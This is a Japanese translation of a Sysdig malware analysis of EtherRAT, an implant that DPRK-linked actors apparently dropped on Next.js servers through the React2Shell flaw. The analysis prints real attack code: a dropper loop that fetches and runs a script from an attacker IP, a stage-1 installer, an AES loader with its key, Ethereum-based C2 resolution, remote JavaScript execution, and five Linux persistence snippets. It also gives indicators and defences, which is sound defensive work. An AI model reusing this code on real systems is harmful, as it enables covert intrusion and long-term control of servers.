EtherRAT：DPRK が React2Shell 攻撃で新たな Ethereum インプラントを使用

本文の内容は、2025年12月5日に Sysdig Threat Research Team が投稿したブログ(https://www.sysdig.com/blog/etherrat-dprk-uses-novel-ethereum-implant-in-react2shell-attacks)を元に日本語に翻訳・再構成した内容となっております。

‍

2025年12月5日、React Server Components（RSCs）における最大深刻度のリモートコード実行脆弱性である CVE-2025-55182 が公開されてからわずか 2 日後、Sysdig 脅威リサーチチーム（TRT）は、侵害された Next.js アプリケーションから新たなインプラントを回収しました。初期の React2Shell の悪用で確認されている暗号通貨マイナーや認証情報窃取ツールとは異なり、このペイロードは EtherRAT と名付けられ、より高度な性質を持っています。これは、少なくとも 3 つの既知のキャンペーンの手法を、これまで報告されていなかった 1 つの攻撃チェーンに統合した、永続的アクセス用のインプラントです。

EtherRAT は、コマンド＆コントロール（C2）の解決に Ethereum スマートコントラクトを利用し、5 つの独立した Linux の永続化メカニズムを展開し、さらに nodejs.org から自身の Node.js ランタイムをダウンロードします。これらの機能の組み合わせは、React2Shell の悪用においてこれまで観測されたことがありません。Sysdig TRT の分析によると、このインプラントは北朝鮮関連の「Contagious Interview」（DPRK）ツール群と大きな共通点を持っており、朝鮮民主主義人民共和国（DPRK）の攻撃者が React2Shell の悪用へと方向転換した可能性、または国家レベルのグループ間で高度なツール共有が行われている可能性が示唆されています。

Sysdig TRT は、このインプラントの仕組み、既知の React2Shell 活動との違い、そして防御側が検出のために取るべき対策について分析しています。詳細な調査結果は以下に記載されていますが、Sysdig TRT による検出戦略や緩和策の推奨事項から読み始めることもできます。

‍

React2Shell 脆弱性の悪用（CVE-2025-55182）

CVE-2025-55182 は、RSC における安全でないデシリアライズの脆弱性であり、1 回の HTTP リクエストによって認証なしでリモートコード実行が可能になるものです。この脆弱性は、セキュリティリサーチャー Lachlan Davidson によって 2025 年 12 月 3 日に公開されました。React 19.x や、それを基盤とするフレームワーク、特に App Router を使用する Next.js 15.x および 16.x が影響を受けます。CISA は 2025 年 12 月 5 日、この脆弱性を既知の悪用脆弱性（KEV）カタログに追加しました。

公開後数時間以内に、複数のセキュリティベンダーが活発な悪用を文書化しています：

• 中国関連のグループ（Earth Lamia、Jackpot Panda、UNC5174 など）が Cobalt Strike ビーコン、Sliver、Vshell バックドアを展開しています。
• 機会的な攻撃者が暗号通貨マイナー（主に XMRig）をインストールしています。
• AWS の設定ファイルや環境変数を狙う認証情報収集ツールが確認されています。

React2Shell の悪用で文書化されているペイロードには共通した特徴があります。PowerShell またはシェルコマンドに依存し、ハードコードされた C2 インフラを使用し、即時の認証情報窃取または暗号通貨マイニングに焦点を当てているという点です。しかし、EtherRAT はこのパターンとは大きく異なっています。

‍

EtherRAT の概要:4 段階の攻撃チェーン

攻撃は、JavaScriptインプラントをデプロイするシェルスクリプトをダウンロードして実行するReact2Shellを介して実行される、base64でエンコードされたシェルコマンドから始まります。

‍

ステージ 0: base64 シェルドロッパーによる初期アクセス

React2Shell エクスプロイトは base64 でエンコードされたペイロードを実行します。

sh -c echo <base64>|base64 -d|bash

デコードすると、永続的なダウンロードループが明らかになります。

while :; do   (curl -sL http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || \   wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || \   python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && \  [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break  sleep 300done

このドロッパーにはいくつかの危険信号があります。

• 複数のダウンロード方法: ターゲット環境間の互換性を最大化するために、curl、次に wget、次に python3 を試します。
• リトライループ: ダウンロードが失敗した場合は、300 秒待ってから無期限に再試行します。
• サイレント実行: すべてのダウンロードコマンドはエラー出力を抑制します。
• サイズチェック: 実行前にダウンロードしたファイルが空でないことを確認します ([-s./s.sh])。
• 不明瞭なファイル名: URL パス（gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh）は、明白なパターンを避けるために無意味な名前を使用していますが、キーボードを適当に叩いたようなスタイルであることから、プログラムによる生成ではなく手動で作成されたものであることが示唆されます。

ダウンロードしたシェルスクリプト (s.sh) は nodejs.org から Node.js をダウンロードし、暗号化されたペイロードと難読化された JavaScript ドロッパーをデプロイして、ステージ 2 を実行します。

ステージ 1: シェルスクリプトのデプロイ (s.sh)

ダウンロードしたシェルスクリプトは、JavaScript ペイロードを実行する前に永続インフラストラクチャーを確立します。難読化を解除したロジックは次のとおりです。

#!/bin/bash
D="$HOME/.local/share/.05bf0e9b"
ND="$D/.4dai8ovb"
mkdir -p "$D" 2>/dev/null

# Download Node.js runtime from official source
U1="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.gz"
U2="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.xz"

# Try .tar.gz first, fall back to .tar.xz
if curl -sL "$U1" -o "${Z}.tar.gz" || wget -q "$U1" -O "${Z}.tar.gz"; then
  tar -xzf "${Z}.tar.gz" -C "$D" || {
    # If extraction fails, try .xz format
    curl -sL "$U2" -o "${Z}.tar.xz" || wget -q "$U2" -O "${Z}.tar.xz"
    tar -xJf "${Z}.tar.xz" -C "$D"
  }
fi

mv "$D/node-v20.10.0-linux-x64" "$ND"
chmod +x "$ND/bin/node"

# Write encrypted payload and obfuscated dropper
echo "<base64_encrypted_blob>" | base64 -d > "$D/.1d5j6rm2mg2d"
echo "<base64_obfuscated_js>" | base64 -d > "$D/.kxnzl4mtez.js"

# Execute dropper in background, self-delete
nohup "$ND/bin/node" "$D/.kxnzl4mtez.js" >/dev/null 2>&1 &
rm -f "${BASH_SOURCE[0]}"
exit 0

ステージ1の主な所見：

• 正当な Node.js ダウンロード: Node.js v20.10.0 を nodejs.org から直接ダウンロードし、バンドルされている疑わしいバイナリの検出を回避します。
• 隠しディレクトリ構造: .local/share/.05bf0e9b をランダム化された 16 進サブディレクトリとともに使用します。
• デュアルペイロードデプロイ: 暗号化されたブロブ (.1d5j6rm2mg2d) と難読化された JavaScript ドロッパー (.kxnzl4mtez.js) の両方を書き込みます。
• 自己削除: フォレンジックアーティファクトを減らすため、実行後にシェルスクリプトを削除します。
• サイレントバックグラウンド実行: nohup を使用し、stdout/stderr を /dev/null にリダイレクトします。

ステージ 2: 難読化された JavaScript ドロッパー (.kxnzl4mtez.js)

ドロッパーは、ハードコードされたキーマテリアルを含む AES-256-CBC を使用してメインペイロードを復号化します。

const kb = "cn7uRzKiMgOZ/dDxuclzgDrGKLQ7HEtEZ1Ld6k6eRsg=";  // Base64 AES key
const ib = "2iWxmWx4r98fhW9jIpzKXA==";                      // Base64 IV
const key = Buffer.from(kb, "base64");
const iv = Buffer.from(ib, "base64");

function dec(h) {
  const k = fs.readFileSync(h);
  const l = crypto.createDecipheriv("aes-256-cbc", key, iv);
  return Buffer.concat([l.update(k), l.final()]);
}

ドロッパーは .1d5j6rm2mg2d から暗号化されたブロブを読み取り、これを復号し、その結果を .7vfgycfd01.js に書き込みます。そして、ダウンロードした Node.js バイナリ（.4dai8ovb/bin/node に配置）を使用してそのファイルを実行します。Node.js ランタイムを同梱するのではなく nodejs.org からダウンロードするという点は重要です。これにより、ペイロードサイズが削減され、不審な埋め込みバイナリの検出を回避し、信頼されたインフラを利用しつつ、ターゲット環境に Node.js がインストールされているかどうかに関係なくインプラントが動作するようにできます。

また、ドロッパーはランダムに生成されたボット ID とペイロードのファイル名を含む状態ファイルも初期化します。

const r = {
  0: crypto.randomUUID(),  // Bot ID
  1: ln                     // Payload filename (.7vfgycfd01.js)
};

‍

この状態ファイルは、.{md5(script_directory).slice(0,6)} という難読化された命名規則を使用しています。

‍

ステージ3: メインインプラント

復号されて起動されると、EtherRAT は複数のメカニズムを通じて永続的なアクセスを確立します。詳細については、後述の「Aggressive Linux Persistence」セクションで説明します。

‍

Ethereum スマートコントラクトを用いたブロックチェーン型コマンド＆コントロール

EtherRAT の最も特徴的な機能は、C2 URL の解決に Ethereum スマートコントラクトを使用している点です。ブロックされたり押収されたりする可能性のある C2 サーバーアドレスをハードコードするのではなく、マルウェアはオンチェーンのコントラクトを問い合わせ、現在の C2 URL を取得します。

スマートコントラクトクエリメカニズム

EtherRATは0x22f96d61cf118efabc7c5bf3384734fad2f6ead4でスマートコントラクトをクエリします。パラメータは0x941A9B283006f5163ee6b01c1f23aa5951c8dです。

const j = "0x22f96d61cf118efabc7c5bf3384734fad2f6ead4";  // Contract addressconst k = "0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D";  // Lookup parameterconst B = "0x7d434425";                                   // Function selector‍const C = K => {  return B + K.toLowerCase().replace("0x", "").padStart(64, "0");};

RPC エンドポイントに対するコンセンサスベースの耐障害性

この実装がユニークなのは、9つのパブリックEthereumリモートプロシージャコール（RPC）エンドポイントでコンセンサス投票を使用していることです。

const m = [  "https://eth.llamarpc.com",  "https://mainnet.gateway.tenderly.co",  "https://rpc.flashbots.net/fast",  "https://rpc.mevblocker.io",  "https://eth-mainnet.public.blastapi.io",  "https://ethereum-rpc.publicnode.com",  "https://rpc.payload.de",  "https://eth.drpc.org",  "https://eth.merkle.io"];

EtherRAT は、9 つのエンドポイントすべてに並行してクエリを実行し、応答を収集して、大多数のエンドポイントから返された URL を選択します。

const P = {};O.forEach(Q => {  P[Q] = (P[Q] || 0) + 1;});return Object.entries(P).sort((Q, R) => R[1] - Q[1])[0][0];

このコンセンサスメカニズムは、複数の攻撃シナリオに対する保護として機能します。単一の侵害された RPC エンドポイントではボットをシンクホールにリダイレクトできず、リサーチャーが不正な RPC ノードを運用して C2 の解決を汚染することもできません。EtherRAT は 5 分ごとにブロックチェーンへ問い合わせを行い、オペレーターはスマートコントラクトを変更することで C2 インフラを更新できます。この更新は展開済みのすべてのボットへ自動的に伝播します。

‍

ブロックチェーンC2が従来のC2と比較してどのように改善されるか

従来のC2インフラストラクチャーは、ドメインの差し押さえ、IPブロッキング、または削除要求によって中断される可能性があります。ブロックチェーンベースのC2では、次のような選択肢がなくなります。

Reversing Labs は以前、colortoolsv2 と mimelib2 の npm パッケージ（2025 年 7 月）でこの手法を文書化していましたが、これらの実装は単一の RPC エンドポイントを使用していました。今回観測されたコンセンサスメカニズムは、運用上のセキュリティにおける大きな進化を示しています。

‍

C2 トラフィックパターンとコマンド実行

EtherRATはブロックチェーンからC2 URLを解決すると、500ミリ秒ごとに実行されるポーリングループに入ります。

リクエスト構造

各投票では、正規のウェブトラフィックと混ざり合うように設計されたランダムな URL が作成されます。

const L = p.randomBytes(4).toString("hex");           // Random path segment
const M = ["png", "jpg", "gif", "css", "ico", "webp"];
const N = M[Math.floor(Math.random() * M.length)];   // Random "file" extension
const O = ["id", "token", "key", "b", "q", "s", "v"];
const P = O[Math.floor(Math.random() * O.length)];   // Random query parameter

// Resulting URL pattern:
// {c2_base}/api/{random}/{bot_id}/{random}.{ext}?{param}={build_id}

リクエストの例:

GET /api/a8f3b2c1/c6d83cb1-a4de-443d-bd78-da925acc5f8d/d4e5f6a7.png?token=c6d83cb1-a4de-443d-bd78-da925acc5f8d
Host: c2.example.com
X-Bot-Server: https://c2.example.com

このURL構造は、静的アセットに対するコンテンツ配信ネットワーク（CDN）のリクエストを模倣しています。これは、ネットワークセキュリティアラートをトリガーする可能性が低い正規のWebトラフィックでは一般的なパターンです。

コマンド実行

C2 サーバーが 10 文字を超える応答を返すと、EtherRAT はそれをJavaScriptコードとして扱い、すぐに実行します。

const a0 = Object.getPrototypeOf(async function () {}).constructor;
const a1 = new a0(
  "require", "process", "Buffer", "console", "__dirname", "__filename", "log",
  X  // Response body from C2
);
await a1(require, process, Buffer, console, __dirname, __filename, r);

AsyncFunction コンストラクターを使用するこのパターンは、機能的には eval () と同等ですが、非同期操作をサポートします。EtherRAT は実行されたコードに完全な Node.js プリミティブを渡し、オペレーターが以下にアクセスできるようにします。

これは完全なインタラクティブシェルです。オペレーターはインプラントプロセスと同じ権限で任意の Node.js コードを実行できます。

EtherRAT による Linux の永続化手法（5 種類）

EtherRAT は 5 つの独立したメカニズムによって永続性を確立し、再起動やシステムメンテナンスを受けても存続します。

1. システムユーザーサービス

サービスファイルでは、検出されないように、ランダムな 16 進数の名前 (a1b2c3d4e5f6.service など) と一般的な説明が使用されています。

const W = o.join(M, ".config", "systemd", "user");const X = p.randomBytes(6).toString("hex");const Y = o.join(W, X + ".service");‍n.writeFileSync(Y, `[Unit]Description=User Application ServiceAfter=network.target‍[Service]Type=simpleExecStart=${P}Restart=alwaysRestartSec=30‍[Install]WantedBy=default.target`);‍R("systemctl --user daemon-reload");R("systemctl --user enable " + X + ".service");R("systemctl --user start " + X + ".service");

‍

2. XDG 自動起動エントリ

永続化に XDG を使用することはあまり一般的ではありません。これは、Linux デスクトップユーザーの割合が低いことが理由と考えられます。しかし、EtherRAT は一般的なマルウェアよりも広い範囲を狙っているようです。

const a2 = o.join(M, ".config", "autostart");const a3 = p.randomBytes(6).toString("hex");const a4 = o.join(a2, a3 + ".desktop");‍n.writeFileSync(a4, `[Desktop Entry]Type=ApplicationName=System ServiceExec=${P}Hidden=trueNoDisplay=trueX-GNOME-Autostart-enabled=true`);

3. Cron job

再起動後、この追加された cron ジョブは 30 秒後に EtherRAT を実行します。これにより、システムが完全に起動するまでの時間が与えられます。

const a7 = "@reboot sleep 30 && " + P + " >/dev/null 2>&1 &";const a8 = R("crontab -l 2>/dev/null || true", { encoding: "utf8" });if (!a8.includes(N)) {  const a9 = a8.trim() + "\n" + a7 + "\n";  R("echo \"" + a9 + "\" | crontab -");}

4. Bashrc injection

.bashrc ファイルも、ユーザがサーバにログインしたときに EtherRAT が動作するように変更されています。

‍const ab = o.join(M, ".bashrc");const ac = "\n# System\n(nohup " + P + " >/dev/null 2>&1 &) 2>/dev/null\n";if (n.existsSync(ab)) {  const ae = n.readFileSync(ab, "utf8");  if (!ae.includes(N)) {    n.appendFileSync(ab, ac);  }}

5. Profile injection

EtherRAT は、どの永続化メカニズムが正常にインストールされたかを状態ファイルで追跡し、重複したインストール試行を避けます。

const af = o.join(M, ".profile");const ag = "\n# App\n(" + P + " >/dev/null 2>&1 &) 2>/dev/null\n";if (n.existsSync(af)) {  const ai = n.readFileSync(af, "utf8");  if (!ai.includes(N)) {    n.appendFileSync(af, ag);  }}

EtherRAT 独自のペイロード更新メカニズム

EtherRAT には、他の React2Shell ペイロードでは確認されていない機能が含まれています。最初に C2 との通信に成功すると、自身のソースコードを /api/reobf/ エンドポイントに送信し、その応答で自分自身を置き換えます。

const O = n.readFileSync(N, "utf8");  // Read own sourceconst P = {  code: O,      // Current source code  build: i      // Build ID};const Q = await fetch(s + "/api/reobf/" + z, {  method: "POST",  headers: { "Content-Type": "application/json" },  body: JSON.stringify(P)});const R = await Q.text();n.writeFileSync(N, R, "utf8");  // Overwrite self with responseM[3] = Date.now();              // Record timestamp to prevent repeat

応答を受信すると、EtherRAT は次のことを行います。

1. 新しいコードをディスクに書き込み、それ自体を上書きします。
2. 更新が繰り返されないように、隠しステートファイルにタイムスタンプを記録します
3. 更新されたペイロードで新しいプロセスを生成します。
4. 現在のプロセスを終了します。

エンドポイント名からは再難読化（re-obfuscation）が示唆されますが、実際の C2 応答を確認できていないため、その正確な目的は不明です。考えられる解釈としては以下のとおりです。

• 再難読化：C2 が機能的には同じだが異なる難読化が施されたバージョンを返し、静的シグネチャを無効化します。
• ペイロードのアップグレード：初期インプラントは軽量なステージャであり、C2 が任務特化の機能を返す可能性があります。
• 解析妨害：リサーチャーが初期ペイロードを取得しても、運用版（本番の挙動）を確認できないようにします。
• アクティベーション／ライセンス検証：C2 がデプロイを検証し、完全な機能を提供する前に認証を行う可能性があります。
  

意図が何であれ、この一度きりの変換によって、配布された各インプラントは、起動後に元のペイロードから分岐する可能性があります。そのため、シグネチャベースの検出がより困難になります。

‍

脅威の帰属：EtherRAT と既知の DPRK および中国のキャンペーンの比較

EtherRAT が組み合わせている手法は、複数の文書化されたキャンペーンとの類似点を示しています。

EtherRATで使用されている暗号化されたローダーパターンは、Contagious Interviewキャンペーンで使用された北朝鮮関連のBeaverTailマルウェアとほぼ一致しています。

特に、Lazarus Groupやその他の北朝鮮関連の脅威アクターはこれまで Node.js をペイロードにバンドルしていましたが、私たちが特定したサンプルでは公式の nodejs.org ディストリビューションから Node.js をダウンロードしていました。これはトレードクラフトにおける大きな進化を意味しています。つまり、より小さなペイロードサイズをトレードすることで検出リスクを減らすことができるのです。EtherRAT で使用されている暗号化ローダーのパターンは、「Contagious Interview」キャンペーンで使用された、DPRK 関連の BeaverTail マルウェアと非常によく一致しています。

EtherRAT における主な相違点は次のとおりです：

1. 配布経路：偽の採用面接（求人）を装った誘導手口ではなく、React2Shell の悪用によるものです。
2. C2 メカニズム：ハードコードではなく、ブロックチェーンベースです。
3. 永続化：文書化されている Contagious Interview のペイロードよりも、はるかに積極的です。
4. 認証情報の収集なし：BeaverTail や InvisibleFerret とは異なり、EtherRAT には暗号通貨ウォレットを狙うコードが含まれていません。

Google Threat Intelligence Group（GTIG）は最近、BeaverTail マルウェアおよびブロックチェーンベースの C2 技術の使用を、DPRK 関連の脅威アクターである UNC5342 に帰属しました。しかし、直接的なコードの類似性が確認できないため、EtherRAT の背後にいる脅威アクターが同一であるとは断定できません。上記で挙げたような重要な相違点を踏まえると、これは複数の DPRK 関連脅威グループ間で 手法が共有されている ことを示している可能性があります。

あるいは、DPRK アクターが React2Shell を新たな初期侵入ベクターとして採用した可能性もありますが、別の高度なアクターが、複数の文書化されたキャンペーンから手法を組み合わせることで、帰属の複雑化を狙っている 可能性も考えられます。

‍

中国関連（China-Nexus）の React2Shell 活動との比較

中国関連の脅威アクターによる React2Shell の悪用として文書化されている活動は、EtherRAT とは大きく異なります。

新しい機能の概要

公式の nodejs.org 配布元から Node.js をダウンロードするという手法は注目に値します。攻撃者は、検知される可能性のあるバイナリを同梱するのではなく、信頼されたソースを利用しています。そのため、nodejs.org への通信自体は正当なものとなり、ネットワークベースの検出がより困難になります。

‍

EtherRAT の検知ストラテジー

Sysdig Secureによるランタイム脅威検知

Sysdig Secureの監視対象ホストでEtherRATを実行すると、次のような複数のランタイム脅威検知ルールがトリガーされます。

• Suspicious Command Executed by Web Server
• Base64-encoded Python Script Execution
• DNS Lookup for Miner Pool Domain Detected
• Suspicious Cron Modification
• Suspicious System Service Modification
• Modify Shell Configuration File

EtherRAT ネットワークインジケータのハンティング

次のパターンを監視することを推奨します。

• 193.24.123.68:3001 への外向き接続
• 無意味なファイル名で .sh で終わるパスへの HTTP リクエスト
• nodejs.org/dist/v20.10.0/ からのダウンロード
• 複数の Ethereum RPC エンドポイントへの 短時間で連続した HTTPS リクエスト
• コントラクト 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 を照会する、
• eth_call JSON-RPC メソッドへの POST リクエスト
• 静的ファイル拡張子（.png、.jpg、.gif、.css、.ico、.webp）で終わる、
• ランダム化されたパスへの定期的な GET リクエスト
• X-Bot-Server ヘッダーを含むリクエスト

EtherRAT のファイルシステム上の指標（IOC）

EtherRAT は、デプロイごとにランダム生成された隠しディレクトリ名とファイル名を使用します。そのため、特定のパスではなくパターンを基にハンティングする必要があります。

• $HOME/.local/share/ 配下にある、ランダムな 16 進文字列名の隠しディレクトリ（例：.05bf0e9b）
• その中に存在する、bin/node 実行ファイルを含む 入れ子状の隠しサブディレクトリ
• ユーザーデータディレクトリ内にある 隠し .js ファイル
• ランダムな 16 進文字列名の systemd ユーザーサービス
• Hidden=true および NoDisplay=true を設定した XDG autostart エントリ
• 隠し .js ファイルを nohup で起動するコマンドが含まれる bashrc / profile の改変

‍

EtherRAT の侵害指標（IOC）

注意：このインプラントは、デプロイごとにランダムなディレクトリ名とファイル名を生成します。以下に示すファイルアーティファクトは、分析したサンプルに基づくものであり、命名パターンの例として扱うべきものであって、普遍的な侵害指標（IOC）ではありません。

Staging infrastructure

Ethereum contract (static)

緩和策と対応に関する推奨事項

RSC や Next.js を運用している組織は、直ちに対応を取る必要があります。

• 即時にパッチを適用する：React を 19.2.1 以降に更新し、Next.js もパッチ適用済みバージョンに更新します。更新後はアプリケーションを再ビルドし、再デプロイします。
• 永続化の痕跡を調査する：systemd のユーザーサービス、XDG autostart エントリ、cron ジョブ、bashrc／profile の改変など、露出した可能性のあるシステムに不正な設定がないか確認します。
• Ethereum RPC トラフィックを監視する：Web アプリケーションサーバーから公共の Ethereum RPC エンドポイントへの異常な外向き接続があれば調査します。
• ランタイム検知を導入する：コードを自動更新するタイプのマルウェアに対して、シグネチャベースの検知は効果がありません。この種のインプラントを特定するには、ランタイム脅威検知が不可欠です。
• アプリケーションログを確認する：React2Shell の悪用試行の証拠を探します。具体的には、不正なペイロードを含む RSC エンドポイントへの異常な POST リクエストを調査します。
• 認証情報をローテーションする：侵害が疑われる場合、影響を受けたシステムからアクセス可能なすべての認証情報（クラウドプロバイダーのトークン、API キー、SSH キーなど）をローテーションします。

‍

まとめ：EtherRAT が React2Shell および今後の脅威にとって意味するもの

EtherRAT は React2Shell の悪用における大きな進化を示しており、これまでの 無差別なクリプトマイニング や 認証情報窃取 といった活動を超えて、長期的な運用を目的とした、永続的でステルス性の高いアクセスへと移行しています。ブロックチェーンベースの C2、複数ベクトルによる積極的な永続化、そしてペイロード更新メカニズムの組み合わせは、React2Shell のペイロードではこれまで確認されていなかった高度さを示しています。

DPRK の「Contagious Interview」ツール群との重複は、アトリビューション（攻撃者特定）や脅威アクター間でのツール共有に関する重要な疑問を投げかけています。これが北朝鮮系アクターによる新たな悪用ベクターへの転換を示すものなのか、あるいは別の高度なアクターが複数のキャンペーンから手法を借用しているのかにかかわらず、結果として防御側は従来の検知やテイクダウン手法に抵抗する新たなインプラントに直面することになります。

Log4Shell から React2Shell に至るまで、サプライチェーンおよびフレームワークレベルの脆弱性が増加している状況は、ランタイム脅威検知の重要性をこれまで以上に高めています。攻撃者は複数のキャンペーンの手法を組み合わせ、動的にペイロードを変更できるため、組織はシグネチャベースの検知やインジケーターのブロッキングだけに依存することはできません。ランタイムでの継続的な監視こそが、この進化し続ける脅威環境における最も信頼性の高い防御手段となります。

‍